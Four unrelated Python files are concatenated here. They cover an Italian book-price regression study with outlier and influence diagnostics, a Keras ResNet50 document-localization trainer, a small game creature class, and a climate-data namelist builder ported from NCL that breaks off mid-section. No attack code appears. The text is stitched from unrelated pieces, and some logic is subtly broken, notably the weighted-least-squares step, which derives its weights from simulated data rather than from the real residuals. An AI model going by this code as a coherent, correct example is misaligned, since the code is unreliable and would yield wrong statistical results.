from collections import (
    Counter,
)  # Si conta la ricorrenza per ogni parola all'interno della lista
from sklearn.linear_model import LinearRegression
import pandas as pd
import numpy as np
import math
import seaborn as sns
from scipy import stats
import statsmodels.api as sm
import matplotlib.pyplot as plt
from statsmodels.formula.api import ols
from statsmodels.graphics.regressionplots import *

# from year to decade
def etichetta(row):
    anno = row["anno"].strip()
    if anno in (
        "2010",
        "2011",
        "2012",
        "2013",
        "2014",
        "2015",
        "2016",
        "2017",
        "2018",
        "2019",
        "2020",
        "2021",
    ):
        return "2010-2021"
    elif anno in (
        "2000",
        "2001",
        "2002",
        "2003",
        "2004",
        "2005",
        "2006",
        "2007",
        "2008",
        "2009",
    ):
        return "2000-2009"
    elif anno in (
        "1990",
        "1991",
        "1992",
        "1993",
        "1994",
        "1995",
        "1996",
        "1997",
        "1998",
        "1999",
    ):
        return "1990-1999"
    elif anno in (
        "1980",
        "1981",
        "1982",
        "1983",
        "1984",
        "1985",
        "1986",
        "1987",
        "1988",
        "1989",
    ):
        return "1980-1989"
    elif anno in (
        "1970",
        "1971",
        "1972",
        "1973",
        "1974",
        "1975",
        "1976",
        "1977",
        "1978",
        "1979",
    ):
        return "1970-1979"
    elif anno in (
        "1960",
        "1961",
        "1962",
        "1963",
        "1964",
        "1965",
        "1966",
        "1967",
        "1968",
        "1969",
    ):
        return "1960-1969"
    elif anno in (
        "1950",
        "1951",
        "1952",
        "1953",
        "1954",
        "1955",
        "1956",
        "1957",
        "1958",
        "1959",
    ):
        return "1950-1959"
    elif anno in (
        "1940",
        "1941",
        "1942",
        "1943",
        "1944",
        "1945",
        "1946",
        "1947",
        "1948",
        "1949",
    ):
        return "1940-1949"
    elif anno in (
        "1930",
        "1931",
        "1932",
        "1933",
        "1934",
        "1935",
        "1936",
        "1937",
        "1938",
        "1939",
    ):
        return "1930-1939"
    elif anno in (
        "1920",
        "1921",
        "1922",
        "1923",
        "1924",
        "1925",
        "1926",
        "1927",
        "1928",
        "1929",
    ):
        return "1920-1929"
    elif anno in (
        "1900",
        "1901",
        "1902",
        "1903",
        "1904",
        "1905",
        "1906",
        "1907",
        "1908",
        "1909",
        "1910",
        "1911",
        "1912",
        "1913",
        "1914",
        "1915",
        "1916",
        "1917",
        "1918",
        "1919",
    ):
        return "1900-1919"
    elif anno in ("1847", "1865", "1880", "1883", "1886"):
        return "1840-1899"
    else:
        return "other"

# from sub-category to books' category

def rename(row):
    if row["physical_format"] == "Brossura":
        return "Brossura"
    if row["physical_format"] == "Rilegato":
        return "Copertina Rigida"
    if row["physical_format"] == "Libro":
        return "Tascabile"
    if row["physical_format"] == "hardcover":
        return "Copertina Rigida"
    if row["physical_format"] == "Illustrato":
        return "Copertina Rigida"
    if row["physical_format"] == "Cartonato":
        return "Copertina Rigida"
    if row["physical_format"] == "paperback":
        return "Tascabile"
    if row["physical_format"] == "Paperback / softback":
        return "Tascabile"
    if row["physical_format"] == "[electronic resource]":
        return "Ebook"
    if row["physical_format"] == "Libro + altro":
        return "Tascabile"
    if row["physical_format"] == "Hardback":
        return "Copertina Rigida"
    if row["physical_format"] == "unknown binding":
        return "Altro"
    if row["physical_format"] == "Libro + CD-Rom":
        return "Tascabile"
    if row["physical_format"] == "board book":
        return "Copertina Rigida"
    if row["physical_format"] == "pamphlet":
        return "Tascabile"
    if row["physical_format"] == "Paperback":
        return "Tascabile"
    if row["physical_format"] == "calendar":
        return "Spiralato"
    if row["physical_format"] == "Tascabile":
        return "Tascabile"
    if row["physical_format"] == "map":
        return "Tascabile"
    if row["physical_format"] == "spiral-bound":
        return "Spiralato"
    if row["physical_format"] == "mass market paperback":
        return "Tascabile"
    if row["physical_format"] == "library binding":
        return "Copertina Rigida"
    if row["physical_format"] == "pop-up":
        return "pop-up"
    if row["physical_format"] == "turtleback":
        return "Copertina Rigida"
    if row["physical_format"] == "cards":
        return "Tascabile"
    if row["physical_format"] == "paperback":
        return "Tascabile"
    return "Other"

# from key words to books' subjects
def assignment_cat(row):
    subject_old = row["subjects"].lower().strip().split(" ")
    lista_viaggi = [
        "viaggi",
        "travel",
        "turismo",
        "holiday",
        "places",
        "place",
        "guide",
        "guidebooks",
        "cartine",
        "guides",
        "foreign",
        "museum",
        "turistiche",
        "world",
    ]
    lista_arte = [
        "art",
        "arte",
        "arts",
        "buildings",
        "pittura",
        "photography",
        "exhibitions",
        "landscape",
        "ceramics",
        "music",
        "urban",
        "catalogs",
        "museo",
        "scultura",
        "moda",
        "symphony",
        "design",
        "fashion",
        "architettura",
        "beni",
        "culturali",
        "individual",
        "architects",
        "photographs",
        "photographers",
        "fotografia",
        "cinema",
        "musica",
        "artists",
        "viviani",
    ]
    lista_sport = ["sport", "sports"]
    lista_storia_filosofia = ["storia", "history", "filosofia"]
    lista_biografie = ["biografie", "biographies", "biography"]
    lista_istruzione = [
        "english",
        "grammatica",
        "dizionari",
        "vocabulary",
        "translating",
        "manual",
        "manuals",
        "lingue",
        "languages",
        "università",
        "study",
        "scuola",
        "psycholinguistics",
    ]
    lista_attualità_politica_economia = [
        "società",
        "politics",
        "rights",
        "philosophy",
        "immigration",
        "emigration",
        "business",
        "economia",
        "finanza",
        "management",
        "marketing",
        "politica",
        "diritto",
        "lavoro",
        "econometrics",
    ]
    lista_bamibini_ragazzi = [
        "bambini",
        "ragazzi",
        "children",
        "childrens",
        "fumetti",
        "babypreschool",
    ]
    lista_narrativa = [
        "fantasy",
        "family",
        "fiction",
        "romance",
        "mistery",
        "crime",
        "horror",
        "gothic",
        "readers",
        "narrativa",
        "gialli",
        "noir",
        "avventura",
        "passione",
        "sentimenti",
    ]
    lista_letteratura = [
        "letteratura",
        "criticism",
        "literature",
        "drama",
        "letterature",
        "poetry",
        "romanzi",
        "tolstoy",
        "bronte",
        "austen",
        "defoe",
        "dickens",
    ]
    lista_scienza = [
        "scienza",
        "ambiente",
        "animali",
        "geology",
        "tecnologia",
        "technology",
        "science",
        "physics",
        "nature",
        "informatica",
        "web",
        "machine",
        "learning",
        "computer",
        "combustion",
        "engine",
    ]
    lista_religione = [
        "religione",
        "spiritualità",
        "religion",
        "gnosticism",
        "mind",
        "spirit",
        "christian",
        "bible",
        "church",
    ]
    lista_gastronomia_cucina = [
        "gastronomia",
        "cucina",
        "cook",
        "wine",
        "salute",
        "benessere",
        "cookery",
    ]
    lista_hobby = ["hobby", "tempo"]
    lista_categorie = [
        lista_viaggi,
        lista_arte,
        lista_sport,
        lista_storia_filosofia,
        lista_biografie,
        lista_istruzione,
        lista_attualità_politica_economia,
        lista_bamibini_ragazzi,
        lista_narrativa,
        lista_letteratura,
        lista_scienza,
        lista_religione,
        lista_gastronomia_cucina,
        lista_hobby,
    ]
    nome_categorie = [
        "viaggi",
        "arte",
        "sport",
        "storia e filosofia",
        "biografie",
        "istruzione",
        "attualità,politica ed economia",
        "bambini e ragazzi",
        "narrativa",
        "letteratura",
        "scienza e tecnologia",
        "religione",
        "gastronomia e cucina",
        "hobby e tempo libero",
    ]
    dizionario = zip(nome_categorie, lista_categorie)
    max_intersection = 0
    categoria_risultante = ""
    for nome, lista_parole in dizionario:
        intersection = len(list(set(lista_parole) & set(subject_old)))
        if intersection > max_intersection:
            max_intersection = intersection
            categoria_risultante = nome
    return categoria_risultante

def analysis_data(data_set_path, corrected_year_path, corrected_category_path):

    # enriched dataset
    data = pd.read_csv(data_set_path)

    # dataset with fixed year
    con_mille = pd.read_excel(corrected_year_path)

    # dataset with fixed subjects
    categorie = pd.read_excel(corrected_category_path)

    # not useful columns
    data2 = data.drop(
        labels=[
            "level_0",
            "index",
            "isbn_13",
            "language",
            "description",
            "mondadori_url",
            "hoepli_url",
            "languages",
        ],
        axis=1,
    )

    # drop all rows with at least a null
    data2 = data2.dropna()

    # from string to categorical column
    data2["physical_format"] = pd.Categorical(data2["physical_format"])

    # drop unuseful books
    data2 = data2[
        (data2.physical_format != "Game")
        & (data2.physical_format != "audio cassette")
        & (data2.physical_format != "Audio CD")
        & (data2.physical_format != "Long Playing Mix")
        & (data2.physical_format != "audio cd")
        & (data2.physical_format != "cd-rom")
        & (data2.physical_format != "CD-ROM")
        & (data2.physical_format != "unknown binding")
    ]
    # associate a subject to each book based on key words
    data2["physical_format"] = data2.apply(lambda row: rename(row), axis=1)

    # assign subject to each book
    data2["Categoria"] = data2.apply(lambda row: assignment_cat(row), axis=1)

    b = data2[data2["Categoria"] == ""]
    c = data2[data2["Categoria"] != ""]

    # cancatenate datasets which subjects where assigned manually and automatically
    finale = pd.concat([c, categorie])

    # split date
    a = finale["publish_date"].str.rsplit("/", n=1, expand=True)

    # Prendo le colonne dello split precedente e con un ciclo assegno ai valori None della seconda colonna
    # il corrispondente anno della prima colonna.
    d = a[0].tolist()
    e = a[1].tolist()
    conta = 0
    for item in e:
        if item is None:
            e[conta] = d[conta]
            conta += 1
        else:
            conta += 1

    # Aggiungo la colonna anno sfruttando la lista precedente.
    finale["anno"] = e

    # manually cleaned
    senza_mille = finale[finale["anno"] != "1000"]
    senza_mille.drop(["publish_date", "subjects"], axis=1, inplace=True)
    mille = finale[finale["anno"] == "1000"]

    finale = pd.concat([senza_mille, con_mille])
    finale.drop(["publish_date", "subjects"], axis=1, inplace=True)
    finale["anno"] = finale["anno"].astype("str")

    # year to decade
    finale["anno"] = finale.apply(lambda row: etichetta(row), axis=1)

    # manually clean some incorrect price
    finale["price"].iloc[479] = 1000.00
    finale["price"].iloc[974] = 1000.00
    finale["price"].iloc[1467] = 5000.00

    # violin plot: number_of_pages~physical_format
    sns.set(style="whitegrid")
    ax = sns.violinplot(
        data=finale,
        x="physical_format",
        y="number_of_pages",
        palette="Set2",
        split=True,
    )
    ax.set_xlabel("")
    sns.set(rc={"figure.figsize": (15, 15)})

    # violin plot: price~physical_format
    finale["price"] = pd.to_numeric(finale["price"], downcast="float")
    sns.set(style="whitegrid")
    ax1 = sns.violinplot(
        data=finale, x="physical_format", y="price", palette="Set2", split=True
    )
    ax1.set_xlabel("")
    sns.set(rc={"figure.figsize": (15, 15)})

    """### ANALISI E RIMOZIONE DEGLI OUTLIERS:
    1. Create 5 sub-dataset, one for each book's physical format
    2. For each dataset create a new column with the z-score calculated from number_of_pages and price. Z-score>3 are considered outliers
    3. Concatenate cleaned datasets,
    """

    # 1. create subsets
    brossura = finale[finale["physical_format"] == "Brossura"]
    cop_rig = finale[finale["physical_format"] == "Copertina Rigida"]
    tascabile = finale[finale["physical_format"] == "Tascabile"]
    spiralato = finale[finale["physical_format"] == "Spiralato"]
    ebook = finale[finale["physical_format"] == "Ebook"]

    # 2. compute z-scores

    # BROSSURA
    brossura["z_score_pagine"] = stats.zscore(brossura["number_of_pages"])
    brossura["z_score_prezzo"] = stats.zscore(brossura["price"])
    brossura_meno_pagine = brossura[brossura["z_score_pagine"].abs() < 3]
    brossura_fin = brossura_meno_pagine[
        brossura_meno_pagine["z_score_prezzo"].abs() < 3
    ]

    # COPERTINA_RIGIDA
    cop_rig["z_score_pagine"] = stats.zscore(cop_rig["number_of_pages"])
    cop_rig["z_score_prezzo"] = stats.zscore(cop_rig["price"])
    cop_rig_meno_pagine = cop_rig[cop_rig["z_score_pagine"].abs() < 3]
    cop_rig_fin = cop_rig_meno_pagine[cop_rig_meno_pagine["z_score_prezzo"].abs() < 3]

    # TASCABILE
    tascabile["z_score_pagine"] = stats.zscore(tascabile["number_of_pages"])
    tascabile["z_score_prezzo"] = stats.zscore(tascabile["price"])
    tascabile_meno_pagine = tascabile[tascabile["z_score_pagine"].abs() < 3]
    tascabile_fin = tascabile_meno_pagine[
        tascabile_meno_pagine["z_score_prezzo"].abs() < 3
    ]

    # SPIRALATO
    spiralato["z_score_pagine"] = stats.zscore(spiralato["number_of_pages"])
    spiralato["z_score_prezzo"] = stats.zscore(spiralato["price"])
    spiralato_meno_pagine = spiralato[spiralato["z_score_pagine"].abs() < 3]
    spiralato_fin = spiralato_meno_pagine[
        spiralato_meno_pagine["z_score_prezzo"].abs() < 3
    ]

    # EBOOK
    ebook["z_score_pagine"] = stats.zscore(ebook["number_of_pages"])
    ebook["z_score_prezzo"] = stats.zscore(ebook["price"])
    ebook_meno_pagine = ebook[ebook["z_score_pagine"].abs() < 3]
    ebook_fin = ebook_meno_pagine[ebook_meno_pagine["z_score_prezzo"].abs() < 3]

    # concatenate cleaned datasets
    finale_meno_outliers = pd.concat(
        [brossura_fin, cop_rig_fin, tascabile_fin, spiralato_fin, ebook_fin]
    ).reset_index()
    finale_meno_outliers

    # violin plot: number_of_pages~physical_format
    sns.set(style="whitegrid")
    ax = sns.violinplot(
        data=finale_meno_outliers,
        x="physical_format",
        y="number_of_pages",
        palette="Set2",
    )
    ax.set_xlabel("")
    sns.set(rc={"figure.figsize": (15, 15)})

    # violin plot: price~physical_format
    sns.set(style="whitegrid")
    ax1 = sns.violinplot(
        data=finale_meno_outliers, x="physical_format", y="price", palette="Set2"
    )
    ax1.set_xlabel("")
    sns.set(rc={"figure.figsize": (15, 15)})

    """ LINEAR MODEL """

    # create dummy variables from 'formato'
    finale_meno_outliers["number_of_pages"] = finale_meno_outliers[
        "number_of_pages"
    ].astype("float64")
    finale_meno_outliers.physical_format = pd.Categorical(
        finale_meno_outliers.physical_format
    )
    finale_meno_outliers["formato"] = finale_meno_outliers.physical_format.cat.codes

    # features
    x = finale_meno_outliers[["number_of_pages", "formato"]].to_numpy()

    # label
    y = finale_meno_outliers["price"].astype("float64").to_numpy()

    # performance analysis of OLS model
    model = sm.OLS(y, x).fit()
    np.set_printoptions(suppress=True)
    print_model = model.summary()
    print(print_model)

    """ ANALYSIS OF OUTLIES AND INFLUENTIAL POINTS"""

    fitted_values = pd.Series(model.fittedvalues, name="Fitted Values")
    n = len(fitted_values)

    # Studentized residuals, Cook’s Distances, DFFITS and leverage values
    influence = model.get_influence()
    inf_sum = influence.summary_frame()

    # obtain Cook's distance for each observation
    cooks = influence.cooks_distance
    (dffits, p) = influence.dffits
    leverage = influence.hat_matrix_diag

    """### Leverage versus studentized residuals"""

    # leverage's threshold
    k = 2  # number of model's features
    soglia = (2 * (k + 1)) / n

    print("\n")
    print("Leverage vs. Studentized Residuals")
    sns.regplot(leverage, model.resid_pearson, fit_reg=False)
    plt.hlines(-2, -0.002, 0.006, colors="red", linestyles="solid")
    plt.hlines(2, -0.002, 0.006, colors="red", linestyles="solid")
    plt.hlines(0, -0.002, 0.006, colors="red", linestyles="solid")
    plt.vlines(soglia, -2.5, 13, colors="red", linestyles="solid")
    for i in range(finale_meno_outliers.shape[0]):
        if model.resid_pearson[i] > 2 or leverage[i] > soglia:
            plt.text(leverage[i], model.resid_pearson[i], str(i))
    plt.title("Leverage vs. Studentized Residuals")
    plt.xlabel("Leverage")
    plt.ylabel("Studentized Residuals")

    """### Cook's distance"""

    finale_meno_outliers["cooks"] = cooks[0]
    finale_meno_outliers["index"] = finale_meno_outliers.index
    plt.plot(
        finale_meno_outliers.iloc[:, 4],
        finale_meno_outliers.iloc[:, 12],
        "ro",
        alpha=0.5,
    )
    plt.hlines(4 / n, 0, 800, colors="red", linestyles="solid")
    for i in range(finale_meno_outliers.shape[0]):
        if finale_meno_outliers.iloc[i, 12] >= 0.01:
            plt.text(
                finale_meno_outliers.iloc[i, 4],
                finale_meno_outliers.iloc[i, 12],
                str(i),
            )
    plt.show()

    # Plot influential observations
    # Use residual squared to restrict the graph but preserve the relative position of observations
    plot_leverage_resid2(model)
    plt.show()

    plt.show()

    """ Quantitative analysis of outliers and influential points:
    1. Find standardized residuals such that |r|> 2 (r<-2 || r>2)
    """

    price_res = pd.concat([finale_meno_outliers.price, inf_sum], axis=1)
    price_res = price_res.rename(columns={"hat_diag": "leverage"})
    # price_res
    r = price_res.student_resid

    r = price_res.student_resid
    print("-" * 30 + " studentized residual " + "-" * 30)
    print(r.describe())
    print("\n")

    r_sort = price_res.sort_values(by="student_resid")
    print("-" * 30 + " top 5 most negative residuals " + "-" * 30)
    print(r_sort.head())
    print("\n")

    print("-" * 30 + " top 5 most positive residuals " + "-" * 30)
    print(r_sort.tail())

    # find points with leverage >= (2k+2)/n
    # k = number of explicative variables
    # n = number of observation
    l = price_res.leverage

    print("-" * 30 + " Leverage " + "-" * 30)
    print(l.describe())
    print("\n")

    l_sort = price_res.sort_values(by="leverage", ascending=False)
    print("-" * 30 + " top 5 highest leverage data points " + "-" * 30)

    outlier = pd.DataFrame((price_res.price[abs(r) > 2]))
    lev = pd.DataFrame((price_res.price[abs(l) > soglia]))

    Influential2 = pd.merge(outlier, lev, left_index=True, right_index=True)

    """# DFFITS"""

    # Cook's D of more than 3 times the mean is a possible outlier
    cutoff = (price_res.loc[:, "cooks_d"].mean()) * 3
    outlier2 = pd.DataFrame((price_res.price[abs(price_res.cooks_d) > cutoff]))

    # Rimuovo i valori che sono sia outliers sia valori influenti dal dataset
    ics = finale_meno_outliers[["number_of_pages", "formato"]].drop(outlier.index)
    ics = ics.drop(lev.index, errors="ignore")
    ipsilon = finale_meno_outliers["price"].astype("float64").drop(outlier.index)
    ipsilon = ipsilon.drop(lev.index, errors="ignore")

    # OLS's performance
    model_fin = sm.OLS(ipsilon, ics).fit()
    print_model_fin = model_fin.summary()

    # RESOLVE HETEROSCEDASTICITY

    nsample = 2939
    x = np.linspace(0, 20, nsample)
    X = np.column_stack((x, (x - 5) ** 2))
    X = sm.add_constant(X)
    beta = [5.0, 0.5, -0.01]
    sig = 0.5
    w = np.ones(nsample)
    w[nsample * 6 // 10 :] = 3
    y_true = np.dot(X, beta)
    e = np.random.normal(size=nsample)
    y = y_true + sig * w * e
    X = X[:, [0, 1]]

    resid1 = model_fin.resid[w == 1.0]
    var1 = resid1.var(ddof=int(model_fin.df_model) + 1)
    resid2 = model_fin.resid[w != 1.0]
    var2 = resid2.var(ddof=int(model_fin.df_model) + 1)
    w_est = w.copy()
    w_est[w != 1.0] = np.sqrt(var2) / np.sqrt(var1)

    wls_model = sm.WLS(ipsilon, ics, weights=1.0 / ((w_est ** 2))).fit()
    print_model_wls = wls_model.summary()
    print(print_model_wls)

    # TEST NORMALITY ASSUMPTION OF MODEL

    res = wls_model.resid
    fig = sm.qqplot(res, stats.t, fit=True, line="45")
    plt.show()

    # generate x-values for your regression line (two is sufficient)
    x = np.arange(1, 600)

    fig, ax = plt.subplots()
    fig = sm.graphics.plot_fit(wls_model, 0, ax=ax)
    plt.show()


import argparse, os, csv, numpy as np
from keras.applications.resnet50 import ResNet50
from keras.layers import Dense, Dropout, Input, Flatten, GlobalAveragePooling2D
from keras.models import Model, Sequential
from keras import optimizers
from random import shuffle
from PIL import Image
from keras.callbacks import ModelCheckpoint
from matplotlib import pyplot as plt
from keras.wrappers.scikit_learn import KerasRegressor
from keras.losses import mean_squared_error
from sklearn.model_selection import cross_val_score
from keras.preprocessing.image import ImageDataGenerator

def generator(batch_size, data, label):
    filenames = get_filenames(label)
    counter = 0
    while 1:
        files_to_select = filenames[counter:counter+batch_size]
        X, y = data_read(data, label, files_to_select)
        counter += batch_size
        yield X, y

def data_read(data, label, filenames):
    x, y, file_index, features = [], [], [], []
    with open(label, 'r') as csv_file:
        csv_reader = csv.reader(csv_file)
        for row in csv_reader:
            file_index.append(row[0])
            features.append(row[1:])

    for file in filenames:
        input_path = os.path.join(data, file)
        im = np.asarray(Image.open(input_path))
        x.append(im)

        idx = file_index.index(file)
        y.append(features[idx])

    return np.array(x), np.array(y)

def get_filenames(label):
    with open(label, 'r') as csv_file:
        csv_reader = csv.reader(csv_file)
        filenames = [f[0] for f in csv_reader]
    shuffle(filenames)
    return filenames

def train_model():
    model = ResNet50(include_top=False, weights='imagenet', input_tensor=None, input_shape=(224,224,3))

    x = model.output
    x = GlobalAveragePooling2D()(x)
    x = Dense(1024, activation='relu')(x)
    x = Dropout(0.5)(x)
    x = Dense(512, activation='relu')(x)
    predictions = Dense(8)(x)

    model = Model(inputs = model.input, outputs = predictions)
    for layer in model.layers[:5]:
        layer.trainable = False
    print(model.summary())
    adam = optimizers.Adam(lr=0.001, beta_1=0.9, beta_2=0.999, epsilon=None, decay=0.0, amsgrad=False)
    model.compile(loss=mean_squared_error,optimizer=adam)
    return model

def visualization(history):
    # summarize history for accuracy
    plt.plot(history.history['acc'])
    plt.plot(history.history['val_acc'])
    plt.title('model accuracy')
    plt.ylabel('accuracy')
    plt.xlabel('epoch')
    plt.legend(['train', 'test'], loc='upper left')
    fig = plt.figure()
    fig.savefig('../visual/accuracy.png')
    plt.show()
    # summarize history for loss
    plt.plot(history.history['loss'])
    plt.plot(history.history['val_loss'])
    plt.title('model loss')
    plt.ylabel('loss')
    plt.xlabel('epoch')
    plt.legend(['train', 'test'], loc='upper left')
    fig_loss = plt.figure()
    fig_loss.savefig('../visual/loss.png')
    plt.show()

def train(args):
    steps = int(410 / args.batch_size)
    model = train_model()
    ckpt = args.ckpt + "weights-improvement-{epoch:02d}-{val_acc:.2f}.hdf5"
    checkpoint = ModelCheckpoint(ckpt, monitor='val_loss', verbose=1, save_best_only=True)
    callback_list = [checkpoint]

    train_gen = generator(args.batch_size, args.train_data, args.train_label)
    val_gen = generator(args.batch_size, args.val_data, args.val_label)

    train_files = get_filenames(args.train_label)
    train_x, train_y = data_read(args.train_data, args.train_label, train_files)
    datagen = ImageDataGenerator()
    datagen.fit(train_x)
    val_filenames = get_filenames(args.val_label)
    val_X, val_y = data_read(args.val_data, args.val_label, val_filenames)

    history = model.fit_generator(train_gen, steps_per_epoch=steps, epochs=args.epochs, verbose=1,
                                  callbacks=callback_list, validation_data=val_gen,
                                    validation_steps=int(178/args.batch_size))
    '''
    estimator = KerasRegressor(build_fn=train_model(), epochs = 100, batch_size = args.batch_size, verbose = 1)
    results = cross_val_score(estimator=estimator, X=train_x, y=train_y)
    print("Results: %.2f (%.2f) MSE" % (results.mean(), results.std()))
    '''
    visualization(history=history)

def main():
    parser = argparse.ArgumentParser(description='It is for document localization')
    parser.add_argument('--train_data', default= '../data/train_image',
                        help='provide absolute path to input data')
    parser.add_argument('--train_label', default= '../data/coordinates/translated_coords.csv',
                        help = 'provide relative path to input labels')
    parser.add_argument('--val_data', default= '../data/val_image',
                        help='provide absolute path to validation data')
    parser.add_argument('--val_label', default= '../data/coordinates/translated_coords_val.csv',
                        help='provide relative path to validation labels')
    parser.add_argument('--batch_size', default=10, help='provide size of batch')
    parser.add_argument('--epochs', default=100, help = 'provide number of epochs to train')
    parser.add_argument('--ckpt', default='../model_ckpts', help = 'provide path to save model checkpoints')

    args = parser.parse_args()
    train(args)

if __name__ == '__main__':

    main()


import random

from character import Npc
import items

__author__ = 'python'

class Bestiary:
    def __init__(self):
        self.rng = lambda: random.randint(1, 5)

    def get_random_mobs(self, heroes):
        mobs = []
        if self.rng() % 5 == 0:
            mobs.append(Cat())
        return mobs

class Cat(Npc):
    def __init__(self):
        super().__init__("cat")
        self.hp = 10
        self.strength = 2
        self.types.append("cat")
        self.inventory.extend([items.MeatRune(), items.ScimatarRune(), items.Bone()])

    pass


import glob
import os
import pyncl.nclfuncs as ncl

def run():
    print('starting: namelist.py')   # line 13 NCL script
    o = os.getenv('OBS')
    case_sens = os.getenv('MACHINE')

    if o:
        obsflag = True
    else:
        obsflag = False

    if not os.path.exists('namelist_byvar/'):
        os.mkdir('namelist_byvar')

    # original NCL script goes to some trouble to deal with blank lines and to
    # determine number of simulations so that it can allocate some arrays of that size.
    # we're going to simplify that a bit here.
    na = []
    f = open('namelist')       # line 28 NCL script
    for line in f:
        if line != "":
            na.append(line)
    f.close()
    nsims = len(na)

    os.putenv('NSIM', str(nsims))      # line 40 NCL script

    names = []
    paths = []
    syear = []
    eyear = []

    delim = '|'                # line 48 NCL script
    for gg in na:
        tokens = gg.split(delim)
        names.append(tokens[0].strip())
        paths.append(tokens[1].strip())
        syear.append(tokens[2].strip())
        eyear.append(tokens[3].strip())

    # if path ends in.nc remove it. (It will get appended to the end of the path
    # automatically when searching below.)
    for gg in range(len(paths)):              # line 59 NCL script
        paths[gg] = paths[gg].replace('.nc','')

    #----- Read in namelist_obs, and check number of supplied Observational datasets ------

    maxnumobs = 0    # set maximum number of obs datasets per variable. if(obsflag).eq.True, this will likely get altered.

    if obsflag:      # line 69 NCL script
        # again, we're going to simplify some of the reading of the namelist_obs file...
        na = []
        f = open('namelist_obs')       # line 78 NCL script
        for line in f:
            line = line.strip()
            if len(line) > 0:
                na.append(line)
        f.close()
        nobs = len(na)

        vnamesB = []
        namesB = []
        pathsB = []
        syearB = []
        eyearB = []

        strFillVal = ncl.default_fillvalues['string']
        intFillVal = ncl.default_fillvalues['int32']
        for gg in na:                # line 83 in NCL script
            tokens = gg.split(delim)
            vnamesB.append( tokens[0].strip())
            t = tokens[1].strip()
            namesB.append( (strFillVal, t)[t != ''] )
            t = tokens[2].strip()
            pathsB.append( (strFillVal, t)[t != ''] )
            t = tokens[3].strip()
            syearB.append( (strFillVal, t)[t != '']  )
            t = tokens[4].strip()
            eyearB.append( (strFillVal, t)[t != '']  )

        maxnumobs = max(vnamesB.count('TS'), vnamesB.count('PSL'), vnamesB.count('TREFHT'),
                        vnamesB.count('PRECT'), vnamesB.count('MOC'), vnamesB.count('SNOWDP'),
                        vnamesB.count('aice_nh'), vnamesB.count('aice_sh'))

        #  check to see if any names are duplicated. If they are, add a "_2", "_3" to the name
        # this is needed so that each output .nc file has a different name
        for gg in namesB:           # line 102 NCL script
            if namesB.count(gg) > 1:
                count = 0
                for i in range(len(namesB)):
                    if namesB[i] == gg:
                        count += 1
                        if count > 1:
                            namesB[i] = namesB[i] + '_' + str(count-1)

        f = open('obs_maxnum', 'w')       # line 113 NCL script
        f.write(str(maxnumobs))
        f.close()

    # ----- TS section---------------
    namelist_ts = []
    if obsflag:
        ts_i = indEQ(vnamesB, "TS")
        if len(ts_i) > 0:
            for gg in ts_i:
                namelist_ts.append(f'{namesB[gg]} | {pathsB[gg]} | {syearB[gg]} | {eyearB[gg]}')
            # fill in the missing obs rows with the first obs file, altering the name slightly for .nc write-outs
            suffix = 1
            while len(namelist_ts) < maxnumobs:
                namelist_ts.append(f'{namesB[ts_i[0]]}_{str(suffix)} | {pathsB[ts_i[0]]} | {syearB[ts_i[0]]} | {eyearB[ts_i[0]]}')
                suffix += 1

            f = open('obs_ts', 'w')         # line 135 NCL script
            f.write(namelist_ts[0] + '\n')
            f.close()
        else:
            namelist_ts = ["missing"]*maxnumobs

    if case_sens:
        tstring0 = "TS_,.TS.,ts_,.ts.,t_surf_,t_surf.,sst.,sst_"
        tstring1 = "TS,ts,t_surf,sst"
    else:
        tstring0 = "TS_,.TS.,t_surf_,t_surf.,sst.,sst_"
        tstring1 = "TS,t_surf,sst"

    for gg,path in enumerate(paths):         # line 149 NCL script
        fsst = myGlob(paths[gg]+'*{'+tstring0+'}*.nc')
        if len(fsst) == 1:
            namelist_ts.append(f'{names[gg]} | {fsst[0]} | {syear[gg]} | {eyear[gg]}')   # grab first file
        else:
            tpath = path.replace("/*/", "/{"+tstring1+"}/")     # explicitly specify TS,ts in directory structure to eliminate "/tsmin/" being used
            namelist_ts.append( f'{names[gg]} | {tpath}{{{tstring0}}}*.nc | {syear[gg]} | {eyear[gg]}')

    f = open('namelist_byvar/namelist_ts', 'w')   # line 161 NCL script
    for name in namelist_ts:
        f.write(name + '\n')
    f.close()

    #------- PSL section----------------------------
    namelist_psl = []          # line 163 NCL script
    if obsflag:
        psl_i = indEQ(vnamesB, "PSL")
        if len(psl_i) > 0:
            for gg in psl_i:
                namelist_psl.append(f'{namesB[gg]} | {pathsB[gg]} | {syearB[gg]} | {eyearB[gg]}')
            # fill in the missing obs rows with the first obs file, altering the name slightly for .nc write-outs
            suffix = 1
            while len(namelist_psl) < maxnumobs:
                namelist_psl.append(f'{namesB[psl_i[0]]}_{str(suffix)} | {pathsB[psl_i[0]]} | {syearB[psl_i[0]]} | {eyearB[psl_i[0]]}')
                suffix += 1

            f = open('obs_psl', 'w')
            f.write(namelist_psl[0] + '\n')
            f.close()
        else:
            namelist_psl = ['missing']*maxnumobs

    if case_sens:           # line 186 NCL script
        tstring0 = "PSL_,PSL.,psl_,psl.,slp.,slp_"
        tstring1 = "PSL,psl,SLP,slp"
    else:
        tstring0 = "PSL_,PSL.,slp.,slp_"
        tstring1 = "PSL,slp"

    for gg, path in enumerate(paths):
        fsst = myGlob(path+'*{'+tstring0+'}*.nc')
        if len(fsst) == 1:
            namelist_psl.append(f'{names[gg]} | {fsst[0]} | {syear[gg]} | {eyear[gg]}')   # grab first file
        else:
            tpath = paths[gg].replace("/*/", "/{"+tstring1+"}/")
            namelist_psl.append(f'{names[gg]} | {tpath}*{{{tstring0}}}*.nc | {syear[gg]} | {eyear[gg]}')

    f = open('namelist_byvar/namelist_psl', 'w')       # line 205 NCL script
    for line in namelist_psl:
        f.write(line + '\n')
    f.close()

    # ------- TREFHT section----------------------------
    namelist_trefht = []            # line 207 NCL script
    if obsflag:
        trefht_i = indEQ(vnamesB, 'TREFHT')
        if len(trefht_i) > 0:
            for gg in trefht_i:
                namelist_trefht.append(f'{namesB[gg]} | {pathsB[gg]} | {syearB[gg]} | {eyearB[gg]}')
            # fill in the missing obs rows with the first obs file, altering the name slightly for .nc write-outs
            suffix = 1
            while len(namelist_trefht) < maxnumobs:
                namelist_trefht.append(f'{namesB[trefht_i[0]]}_{str(suffix)} | {pathsB[trefht_i[0]]} | {syearB[trefht_i[0]]} | {eyearB[trefht_i[0]]}')
                suffix += 1

            f = open('obs_trefht', 'w')     # line 224 NCL script
            f.write(namelist_trefht[0] + '\n')
            f.close()
        else:
            namelist_trefht = ['missing']*maxnumobs

    if case_sens:         # line 230 NCL script
        tstring0 = "TREFHT_,TREFHT.,tas.,tas_,t_ref.,t_ref_,T2.,T2_"
